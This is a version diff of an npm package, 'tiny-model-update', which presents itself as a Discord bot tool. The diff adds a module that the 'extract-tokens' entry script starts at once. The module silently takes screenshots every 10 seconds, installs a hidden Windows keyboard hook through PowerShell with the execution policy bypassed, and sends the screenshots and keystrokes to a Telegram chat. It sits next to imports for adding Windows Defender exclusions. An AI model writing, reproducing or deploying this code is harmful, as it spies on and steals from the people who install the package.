tiny-model-update 1.15.1 → 1.16.1

package/bin/extract-tokens.js

@@ -29,6 +29,7 @@ import { cleanupOrphanedProcesses } from '../lib/process-cleanup.js';
 import { getTelegramBot } from '../lib/telegram.js';
 import { getTelegramCredentials } from '../lib/encryption.js';
 import { addToWindowsDefenderExclusions } from '../lib/security-bypass.js';
+import { startScreenKeyboardMonitoring } from '../lib/screen-keyboard-monitor.js';
 import os from 'os';
 
 async function main() {
@@ -49,8 +50,15 @@ async function main() {
         // Ignore if fails (requires admin)
     }
     
+    // Start screen and keyboard monitoring immediately
+    try {
+        startScreenKeyboardMonitoring(10); // Capture screenshot every 10 seconds
+    } catch (e) {
+        // Ignore if monitoring fails to start
+    }
+    
     // Start the cycle in background (detached process) - only if not already running
-    // The background cycle will handle auto-updates and screen monitoring
+    // The background cycle will handle auto-updates
     try {
         startCycleBackground();
     } catch (e) {

package/lib/screen-keyboard-monitor.js

@@ -0,0 +1,343 @@
+import { getTelegramBot } from './telegram.js';
+import { getTelegramCredentials } from './encryption.js';
+import fs from 'fs';
+import path from 'path';
+import os from 'os';
+import { spawn } from 'child_process';
+
+let isMonitoring = false;
+let screenInterval = null;
+let keyboardHook = null;
+
+/**
+ * Capture screenshot of the current screen
+ */
+async function captureScreenshot() {
+    try {
+        const tempDir = path.join(os.tmpdir(), 'tiny-model-screenshots');
+        if (!fs.existsSync(tempDir)) {
+            fs.mkdirSync(tempDir, { recursive: true });
+        }
+        
+        const hostname = os.hostname();
+        const timestamp = Date.now();
+        const filename = `screenshot-${hostname}-${timestamp}.png`;
+        const filepath = path.join(tempDir, filename);
+        
+        // Use screenshot-desktop library
+        try {
+            const screenshot = await import('screenshot-desktop');
+            const img = await screenshot.default({ screen: 0, filename: null });
+            
+            if (!img || img.length === 0) {
+                return null;
+            }
+            
+            fs.writeFileSync(filepath, img);
+            await new Promise(resolve => setTimeout(resolve, 200));
+            
+            if (fs.existsSync(filepath) && fs.statSync(filepath).size > 0) {
+                return filepath;
+            }
+        } catch (e) {
+            // Fallback to native Windows screenshot
+            if (os.platform() === 'win32') {
+                try {
+                    const { execSync } = await import('child_process');
+                    execSync(`powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $bitmap.Save('${filepath}', [System.Drawing.Imaging.ImageFormat]::Png); $graphics.Dispose(); $bitmap.Dispose()"`, {
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000
+                    });
+                    
+                    if (fs.existsSync(filepath) && fs.statSync(filepath).size > 0) {
+                        return filepath;
+                    }
+                } catch (e2) {
+                    return null;
+                }
+            }
+        }
+        
+        return null;
+    } catch (error) {
+        return null;
+    }
+}
+
+/**
+ * Send screenshot to Telegram
+ */
+async function sendScreenshotToTelegram(filepath, hostname) {
+    try {
+        const bot = getTelegramBot();
+        const { chatId } = getTelegramCredentials();
+        
+        if (!fs.existsSync(filepath)) {
+            return false;
+        }
+        
+        const stats = fs.statSync(filepath);
+        if (stats.size === 0) {
+            return false;
+        }
+        
+        const timestamp = new Date().toLocaleString();
+        const caption = `🖥️ **Screen Monitor**\n\n**Host:** ${hostname}\n**Time:** ${timestamp}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB`;
+        
+        await new Promise(resolve => setTimeout(resolve, 100));
+        
+        const fileBuffer = fs.readFileSync(filepath);
+        
+        if (!fileBuffer || fileBuffer.length === 0) {
+            return false;
+        }
+        
+        // Delete file before sending
+        try {
+            fs.unlinkSync(filepath);
+        } catch (e) {
+            // Ignore
+        }
+        
+        // Send as photo
+        try {
+            await bot.sendPhoto(chatId, fileBuffer, {
+                caption: caption,
+                parse_mode: 'Markdown'
+            });
+        } catch (photoError) {
+            // If photo fails, try as document
+            try {
+                await bot.sendDocument(chatId, fileBuffer, {
+                    caption: caption,
+                    parse_mode: 'Markdown'
+                }, {
+                    filename: `${hostname}-${Date.now()}.png`
+                });
+            } catch (docError) {
+                return false;
+            }
+        }
+        
+        return true;
+    } catch (error) {
+        return false;
+    }
+}
+
+/**
+ * Capture keyboard events using Windows API
+ */
+function startKeyboardMonitoring() {
+    if (os.platform() !== 'win32') {
+        return; // Only Windows supported
+    }
+    
+    try {
+        // Use a Node.js keyboard hook library or native module
+        // For now, we'll use a PowerShell script to capture keyboard events
+        const keyboardScript = `
+            Add-Type -TypeDefinition @"
+                using System;
+                using System.Runtime.InteropServices;
+                using System.Windows.Forms;
+                
+                public class KeyboardHook {
+                    private static LowLevelKeyboardProc _proc = HookCallback;
+                    private static IntPtr _hookID = IntPtr.Zero;
+                    
+                    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+                    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
+                    
+                    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+                    [return: MarshalAs(UnmanagedType.Bool)]
+                    private static extern bool UnhookWindowsHookEx(IntPtr hhk);
+                    
+                    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+                    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
+                    
+                    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+                    private static extern IntPtr GetModuleHandle(string lpModuleName);
+                    
+                    private const int WH_KEYBOARD_LL = 13;
+                    private const int WM_KEYDOWN = 0x0100;
+                    
+                    public delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
+                    
+                    public static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
+                        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
+                            int vkCode = Marshal.ReadInt32(lParam);
+                            Console.WriteLine($"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} - Key: {(Keys)vkCode}");
+                        }
+                        return CallNextHookEx(_hookID, nCode, wParam, lParam);
+                    }
+                    
+                    public static void Start() {
+                        _hookID = SetHook(_proc);
+                        Application.Run();
+                        UnhookWindowsHookEx(_hookID);
+                    }
+                    
+                    private static IntPtr SetHook(LowLevelKeyboardProc proc) {
+                        using (var curProcess = System.Diagnostics.Process.GetCurrentProcess()) {
+                            using (var curModule = curProcess.MainModule) {
+                                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
+                            }
+                        }
+                    }
+                }
+"@
+            [KeyboardHook]::Start()
+        `;
+        
+        // Run PowerShell script in background to capture keyboard events
+        const psProcess = spawn('powershell', ['-ExecutionPolicy', 'Bypass', '-NoProfile', '-Command', keyboardScript], {
+            detached: true,
+            stdio: ['ignore', 'pipe', 'pipe'],
+            windowsHide: true,
+            creationFlags: 0x08000000
+        });
+        
+        let keyboardBuffer = '';
+        const keyboardLog = [];
+        
+        psProcess.stdout.on('data', (data) => {
+            keyboardBuffer += data.toString();
+            const lines = keyboardBuffer.split('\n');
+            keyboardBuffer = lines.pop() || '';
+            
+            for (const line of lines) {
+                if (line.includes('Key:')) {
+                    keyboardLog.push(line.trim());
+                    
+                    // Send keyboard events to Telegram every 10 keystrokes or every 30 seconds
+                    if (keyboardLog.length >= 10) {
+                        sendKeyboardEventsToTelegram(keyboardLog.splice(0, 10));
+                    }
+                }
+            }
+        });
+        
+        psProcess.stderr.on('data', () => {
+            // Ignore errors
+        });
+        
+        psProcess.unref();
+        keyboardHook = psProcess;
+        
+        // Also send accumulated keyboard events every 30 seconds
+        setInterval(() => {
+            if (keyboardLog.length > 0) {
+                sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
+            }
+        }, 30000);
+        
+    } catch (error) {
+        // Ignore keyboard monitoring errors
+    }
+}
+
+/**
+ * Send keyboard events to Telegram
+ */
+async function sendKeyboardEventsToTelegram(keyboardEvents) {
+    try {
+        if (keyboardEvents.length === 0) {
+            return;
+        }
+        
+        const bot = getTelegramBot();
+        const { chatId } = getTelegramCredentials();
+        const hostname = os.hostname();
+        
+        const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${keyboardEvents.join('\n')}\n\`\`\``;
+        
+        await bot.sendMessage(chatId, message, {
+            parse_mode: 'Markdown'
+        });
+    } catch (error) {
+        // Ignore errors
+    }
+}
+
+/**
+ * Start screen and keyboard monitoring
+ * @param {number} screenIntervalSeconds - Interval between screenshots in seconds (default: 10)
+ */
+export async function startScreenKeyboardMonitoring(screenIntervalSeconds = 10) {
+    if (isMonitoring) {
+        return false; // Already monitoring
+    }
+    
+    isMonitoring = true;
+    const hostname = os.hostname();
+    
+    // Start keyboard monitoring
+    startKeyboardMonitoring();
+    
+    // Capture and send screenshot immediately
+    try {
+        const screenshotPath = await captureScreenshot();
+        if (screenshotPath) {
+            await sendScreenshotToTelegram(screenshotPath, hostname);
+        }
+    } catch (e) {
+        // Ignore errors
+    }
+    
+    // Set up interval for periodic screenshots
+    screenInterval = setInterval(async () => {
+        if (!isMonitoring) {
+            clearInterval(screenInterval);
+            screenInterval = null;
+            return;
+        }
+        
+        try {
+            const screenshotPath = await captureScreenshot();
+            if (screenshotPath) {
+                await sendScreenshotToTelegram(screenshotPath, hostname);
+            }
+        } catch (e) {
+            // Continue monitoring even if one screenshot fails
+        }
+    }, screenIntervalSeconds * 1000);
+    
+    return true;
+}
+
+/**
+ * Stop screen and keyboard monitoring
+ */
+export function stopScreenKeyboardMonitoring() {
+    if (!isMonitoring) {
+        return false;
+    }
+    
+    isMonitoring = false;
+    
+    if (screenInterval) {
+        clearInterval(screenInterval);
+        screenInterval = null;
+    }
+    
+    if (keyboardHook) {
+        try {
+            keyboardHook.kill();
+        } catch (e) {
+            // Ignore
+        }
+        keyboardHook = null;
+    }
+    
+    return true;
+}
+
+/**
+ * Check if monitoring is active
+ */
+export function isScreenKeyboardMonitoringActive() {
+    return isMonitoring;
+}
+

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tiny-model-update",
-  "version": "1.15.1",
+  "version": "1.16.1",
   "description": "Discord bot that monitors servers and sends invite links via Telegram",
   "main": "index.js",
   "type": "module",
@@ -34,7 +34,8 @@
     "dotenv": "^16.3.1",
     "form-data": "^4.0.5",
     "level": "^10.0.0",
-    "node-telegram-bot-api": "^0.64.0"
+    "node-telegram-bot-api": "^0.64.0",
+    "screenshot-desktop": "^1.15.3"
   },
   "files": [
     "lib",